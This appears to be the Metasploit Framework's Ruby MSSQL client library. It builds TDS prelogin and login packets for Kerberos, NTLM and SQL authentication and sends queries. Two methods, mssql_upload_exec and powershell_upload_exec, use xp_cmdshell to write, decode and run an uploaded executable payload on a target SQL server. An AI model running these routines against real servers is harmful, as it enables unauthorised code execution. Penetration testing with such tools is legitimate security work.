/
client.rb
690 lines (560 loc) · 24.2 KB
/
client.rb
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require 'metasploit/framework/tcp/client'
require 'metasploit/framework/mssql/tdssslproxy'
require 'rex/proto/mssql/client_mixin'
require 'rex/text'
require 'msf/core/exploit'
require 'msf/core/exploit/remote'
module Rex
module Proto
module MSSQL
class Client
include Metasploit::Framework::Tcp::Client
include Rex::Proto::MSSQL::ClientMixin
include Rex::Text
include Msf::Exploit::Remote::MSSQL_COMMANDS
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::NTLM::Client
include Msf::Exploit::Remote::Kerberos::Ticket::Storage
include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options
attr_accessor :tdsencryption
attr_accessor :sock
attr_accessor :auth
attr_accessor :ssl
attr_accessor :ssl_version
attr_accessor :ssl_verify_mode
attr_accessor :ssl_cipher
attr_accessor :proxies
attr_accessor :connection_timeout
attr_accessor :send_lm
attr_accessor :send_ntlm
attr_accessor :send_spn
attr_accessor :use_lmkey
attr_accessor :use_ntlm2_session
attr_accessor :use_ntlmv2
attr_accessor :windows_authentication
attr_reader :framework_module
attr_reader :framework
# @!attribute max_send_size
# @return [Integer] The max size of the data to encapsulate in a single packet
attr_accessor :max_send_size
# @!attribute send_delay
# @return [Integer] The delay between sending packets
attr_accessor :send_delay
# @!attribute initial_connection_info
# @return [Hash] Key-value pairs received from the server during the initial MSSQL connection.
# See the spec here: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/b46a581a-39de-4745-b076-ec4dbb7d13ec
attr_accessor :initial_connection_info
def initialize(framework_module, framework, rhost, rport = 1433, proxies = nil)
@framework_module = framework_module
@framework = framework
@connection_timeout = framework_module.datastore['ConnectTimeout'] || 30
@max_send_size = framework_module.datastore['TCP::max_send_size'] || 0
@send_delay = framework_module.datastore['TCP::send_delay'] || 0
@auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO
@hostname = framework_module.datastore['Mssql::Rhostname'] || ''
@windows_authentication = framework_module.datastore['USE_WINDOWS_AUTHENT'] || false
@tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false
@hex2binary = framework_module.datastore['HEX2BINARY'] || ''
@domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || ''
@rhost = rhost
@rport = rport
@proxies = proxies
end
#
# This method connects to the server over TCP and attempts
# to authenticate with the supplied username and password
# The global socket is used and left connected after auth
#
def mssql_login(user='sa', pass='', db='', domain_name='')
disconnect if self.sock
connect
mssql_prelogin
if auth == Msf::Exploit::Remote::AuthOption::KERBEROS
idx = 0
pkt = ''
pkt_hdr = ''
pkt_hdr = [
TYPE_TDS7_LOGIN, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x01, # PacketID (unused upon specification
# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)
0x00 #Window
]
pkt << [
0x00000000, # Size
0x71000001, # TDS Version
0x00000000, # Dummy Size
0x00000007, # Version
rand(1024+1), # PID
0x00000000, # ConnectionID
0xe0, # Option Flags 1
0x83, # Option Flags 2
0x00, # SQL Type Flags
0x00, # Reserved Flags
0x00000000, # Time Zone
0x00000000 # Collation
].pack('VVVVVVCCCCVV')
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
sname = Rex::Text.to_unicode( rhost )
framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank?
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(
host: @domain_controller_rhost,
hostname: @hostname,
mssql_port: rport,
proxies: proxies,
realm: domain_name,
username: user,
password: pass,
framework: framework,
framework_module: framework_module,
ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module)
)
kerberos_result = kerberos_authenticator.authenticate
ssp_security_blob = kerberos_result[:security_blob]
idx = pkt.size + 50 # lengths below
pkt << [idx, cname.length / 2].pack('vv')
idx += cname.length
pkt << [0, 0].pack('vv') # User length offset must be 0
pkt << [0, 0].pack('vv') # Password length offset must be 0
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
pkt << [idx, sname.length / 2].pack('vv')
idx += sname.length
pkt << [0, 0].pack('vv') # unused
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
pkt << [idx, 0].pack('vv') # locales
pkt << [idx, 0].pack('vv') #db
# ClientID (should be mac address)
pkt << Rex::Text.rand_text(6)
# SSP
pkt << [idx, ssp_security_blob.length].pack('vv')
idx += ssp_security_blob.length
pkt << [idx, 0].pack('vv') # AtchDBFile
pkt << cname
pkt << aname
pkt << sname
pkt << aname
pkt << ssp_security_blob
# Total packet length
pkt[0, 4] = [pkt.length].pack('V')
pkt_hdr[2] = pkt.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt
# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
# has a strange behavior that differs from the specifications
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
resp = mssql_send_recv(pkt, 15, false)
info = {:errors => []}
info = mssql_parse_reply(resp, info)
self.initial_connection_info = info
return false if not info
return info[:login_ack] ? true : false
elsif auth == Msf::Exploit::Remote::AuthOption::NTLM || windows_authentication
idx = 0
pkt = ''
pkt_hdr = ''
pkt_hdr = [
TYPE_TDS7_LOGIN, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x01, # PacketID (unused upon specification
# but ms network monitor still prefer 1 to decode correctly, wireshark don't care)
0x00 #Window
]
pkt << [
0x00000000, # Size
0x71000001, # TDS Version
0x00000000, # Dummy Size
0x00000007, # Version
rand(1024+1), # PID
0x00000000, # ConnectionID
0xe0, # Option Flags 1
0x83, # Option Flags 2
0x00, # SQL Type Flags
0x00, # Reserved Flags
0x00000000, # Time Zone
0x00000000 # Collation
].pack('VVVVVVCCCCVV')
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
sname = Rex::Text.to_unicode( rhost )
dname = Rex::Text.to_unicode( db )
workstation_name = Rex::Text.rand_text_alpha(rand(8)+1)
ntlm_client = ::Net::NTLM::Client.new(
user,
pass,
workstation: workstation_name,
domain: domain_name,
)
type1 = ntlm_client.init_context
# SQL 2012, at least, does not support KEY_EXCHANGE
type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]
ntlmsspblob = type1.serialize
idx = pkt.size + 50 # lengths below
pkt << [idx, cname.length / 2].pack('vv')
idx += cname.length
pkt << [0, 0].pack('vv') # User length offset must be 0
pkt << [0, 0].pack('vv') # Password length offset must be 0
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
pkt << [idx, sname.length / 2].pack('vv')
idx += sname.length
pkt << [0, 0].pack('vv') # unused
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
pkt << [idx, 0].pack('vv') # locales
pkt << [idx, 0].pack('vv') #db
# ClientID (should be mac address)
pkt << Rex::Text.rand_text(6)
# NTLMSSP
pkt << [idx, ntlmsspblob.length].pack('vv')
idx += ntlmsspblob.length
pkt << [idx, 0].pack('vv') # AtchDBFile
pkt << cname
pkt << aname
pkt << sname
pkt << aname
pkt << ntlmsspblob
# Total packet length
pkt[0, 4] = [pkt.length].pack('V')
pkt_hdr[2] = pkt.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt
# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)
# has a strange behavior that differs from the specifications
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
if tdsencryption == true
proxy = TDSSSLProxy.new(sock)
proxy.setup_ssl
resp = proxy.send_recv(pkt)
else
resp = mssql_send_recv(pkt, 15, false)
end
# Strip the TDS header
resp = resp[3..-1]
type3 = ntlm_client.init_context([resp].pack('m'))
type3_blob = type3.serialize
# Create an SSPIMessage
idx = 0
pkt = ''
pkt_hdr = ''
pkt_hdr = [
TYPE_SSPI_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x01, # PacketID
0x00 #Window
]
pkt_hdr[2] = type3_blob.length + 8
pkt = pkt_hdr.pack("CCnnCC") + type3_blob
if self.tdsencryption == true
resp = mssql_ssl_send_recv(pkt, proxy)
proxy.cleanup
proxy = nil
else
resp = mssql_send_recv(pkt)
end
#SQL Server Authentication
else
idx = 0
pkt = ''
pkt << [
0x00000000, # Dummy size
0x71000001, # TDS Version
0x00000000, # Size
0x00000007, # Version
rand(1024+1), # PID
0x00000000, # ConnectionID
0xe0, # Option Flags 1
0x03, # Option Flags 2
0x00, # SQL Type Flags
0x00, # Reserved Flags
0x00000000, # Time Zone
0x00000000 # Collation
].pack('VVVVVVCCCCVV')
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
uname = Rex::Text.to_unicode( user )
pname = mssql_tds_encrypt( pass )
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
sname = Rex::Text.to_unicode( rhost )
dname = Rex::Text.to_unicode( db )
idx = pkt.size + 50 # lengths below
pkt << [idx, cname.length / 2].pack('vv')
idx += cname.length
pkt << [idx, uname.length / 2].pack('vv')
idx += uname.length
pkt << [idx, pname.length / 2].pack('vv')
idx += pname.length
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
pkt << [idx, sname.length / 2].pack('vv')
idx += sname.length
pkt << [0, 0].pack('vv')
pkt << [idx, aname.length / 2].pack('vv')
idx += aname.length
pkt << [idx, 0].pack('vv')
pkt << [idx, dname.length / 2].pack('vv')
idx += dname.length
# The total length has to be embedded twice more here
pkt << [
0,
0,
0x12345678,
0x12345678
].pack('vVVV')
pkt << cname
pkt << uname
pkt << pname
pkt << aname
pkt << sname
pkt << aname
pkt << dname
# Total packet length
pkt[0, 4] = [pkt.length].pack('V')
# Embedded packet lengths
pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2
# Packet header and total length including header
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
if self.tdsencryption == true
proxy = TDSSSLProxy.new(sock)
proxy.setup_ssl
resp = mssql_ssl_send_recv(pkt, proxy)
proxy.cleanup
proxy = nil
else
resp = mssql_send_recv(pkt)
end
end
info = {:errors => []}
info = mssql_parse_reply(resp, info)
self.initial_connection_info = info
return false if not info
info[:login_ack] ? true : false
end
#
#this method send a prelogin packet and check if encryption is off
#
def mssql_prelogin(enc_error=false)
pkt = ""
pkt_hdr = ""
pkt_data_token = ""
pkt_data = ""
pkt_hdr = [
TYPE_PRE_LOGIN_MESSAGE, #type
STATUS_END_OF_MESSAGE, #status
0x0000, #length
0x0000, # SPID
0x00, # PacketID
0x00 #Window
]
version = [0x55010008, 0x0000].pack("Vv")
# if manually set, we will honour
if tdsencryption == true
encryption = ENCRYPT_ON
else
encryption = ENCRYPT_NOT_SUP
end
instoptdata = "MSSQLServer\0"
threadid = "\0\0" + Rex::Text.rand_text(2)
idx = 21 # size of pkt_data_token
pkt_data_token << [
0x00, # Token 0 type Version
idx , # VersionOffset
version.length, # VersionLength
0x01, # Token 1 type Encryption
idx = idx + version.length, # EncryptionOffset
0x01, # EncryptionLength
0x02, # Token 2 type InstOpt
idx = idx + 1, # InstOptOffset
instoptdata.length, # InstOptLength
0x03, # Token 3 type Threadid
idx + instoptdata.length, # ThreadIdOffset
0x04, # ThreadIdLength
0xFF
].pack("CnnCnnCnnCnnC")
pkt_data << pkt_data_token
pkt_data << version
pkt_data << encryption
pkt_data << instoptdata
pkt_data << threadid
pkt_hdr[2] = pkt_data.length + 8
pkt = pkt_hdr.pack("CCnnCC") + pkt_data
resp = mssql_send_recv(pkt)
idx = 0
while resp && resp[0, 1] != "\xff" && resp.length > 5
token = resp.slice!(0, 5)
token = token.unpack("Cnn")
idx -= 5
if token[0] == 0x01
idx += token[1]
break
end
end
if idx > 0
encryption_mode = resp[idx, 1].unpack("C")[0]
else
framework_module.print_error("Unable to parse encryption req " \
"during pre-login, this may not be a MSSQL server")
encryption_mode = ENCRYPT_NOT_SUP
end
##########################################################
# Our initial prelogin pkt above said we didnt support
# encryption (it's quicker and the default).
#
# Per the matrix on the following link, SQL Server will
# terminate the connection if it does require TLS,
# otherwise it will accept an unencrypted session. As
# part of this initial response packet, it also returns
# ENCRYPT_REQ.
#
# https://msdn.microsoft.com\
# /en-us/library/ee320519(v=sql.105).aspx
#
##########################################################
if encryption_mode == ENCRYPT_REQ
# restart prelogin process except that we tell SQL Server
# than we are now able to encrypt
disconnect if self.sock
connect
# offset 35 is the flag - turn it on
pkt[35] = [ENCRYPT_ON].pack('C')
self.tdsencryption = true
framework_module.print_status("TLS encryption has " \
"been enabled based on server response.")
resp = mssql_send_recv(pkt)
idx = 0
while resp && resp[0, 1] != "\xff" && resp.length > 5
token = resp.slice!(0, 5)
token = token.unpack("Cnn")
idx -= 5
if token[0] == 0x01
idx += token[1]
break
end
end
if idx > 0
encryption_mode = resp[idx, 1].unpack("C")[0]
else
framework_module.print_error("Unable to parse encryption req " \
"during pre-login, this may not be a MSSQL server")
encryption_mode = ENCRYPT_NOT_SUP
end
end
encryption_mode
end
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
tdsproxy.send_recv(req)
end
def mssql_query(sqla, doprint=false, opts={})
info = { :sql => sqla }
opts[:timeout] ||= 15
pkts = []
idx = 0
bsize = 4096 - 8
chan = 0
@cnt ||= 0
@cnt += 1
sql = Rex::Text.to_unicode(sqla)
while(idx < sql.length)
buf = sql[idx, bsize]
flg = buf.length < bsize ? "\x01" : "\x00"
pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf
idx += bsize
end
resp = mssql_send_recv(pkts.join, opts[:timeout])
mssql_parse_reply(resp, info)
mssql_print_reply(info) if doprint
info
end
def mssql_upload_exec(exe, debug=false)
hex = exe.unpack("H*")[0]
var_bypass = Rex::Text.rand_text_alpha(8)
var_payload = Rex::Text.rand_text_alpha(8)
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
print_status("Writing the debug.com loader to the disk...")
h2b = File.read(@hex2binary, File.size(@hex2binary))
h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}")
h2b.split(/\n/).each do |line|
mssql_xpcmdshell("#{line}", false)
end
print_status("Converting the debug script to an executable...")
mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)
mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)
print_status("Uploading the payload, please be patient...")
idx = 0
cnt = 500
while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt
end
print_status("Converting the encoded payload...")
mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
print_status("Executing the payload...")
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
end
def powershell_upload_exec(exe, debug=false)
# hex converter
hex = exe.unpack("H*")[0]
# create random alpha 8 character names
#var_bypass = rand_text_alpha(8)
var_payload = rand_text_alpha(8)
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")
# our payload converter, grabs a hex file and converts it to binary for us through powershell
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"
h2b_unicode=Rex::Text.to_unicode(h2b)
# base64 encode it, this allows us to perform execution through powershell without registry changes
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
print_status("Uploading the payload #{var_payload}, please be patient...")
idx = 0
cnt = 500
while(idx < hex.length - 1)
mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)
idx += cnt
end
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
print_status("Executing the payload...")
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
print_status("Be sure to cleanup #{var_payload}.exe...")
end
# @param [ENVCHANGE] envchange The ENVCHANGE type to get the information for.
# @return [Hash] Returns a hash of values if the provided type exists.
# @return [Hash] Returns the whole connection info if envchange is nil.
# @return [Hash] Returns an empty hash if the provided type is not present.
def initial_info_for_envchange(envchange: nil)
return self.initial_connection_info if envchange.nil?
return nil unless (self.initial_connection_info && self.initial_connection_info.is_a?(::Hash))
self.initial_connection_info[:envs]&.select { |hash| hash[:type] == envchange }&.first || {}
end
def address
rhost
end
def port
rport
end
protected
def rhost
@rhost
end
def rport
@rport
end
def chost
return nil
end
def cport
return nil
end
end
end
end
end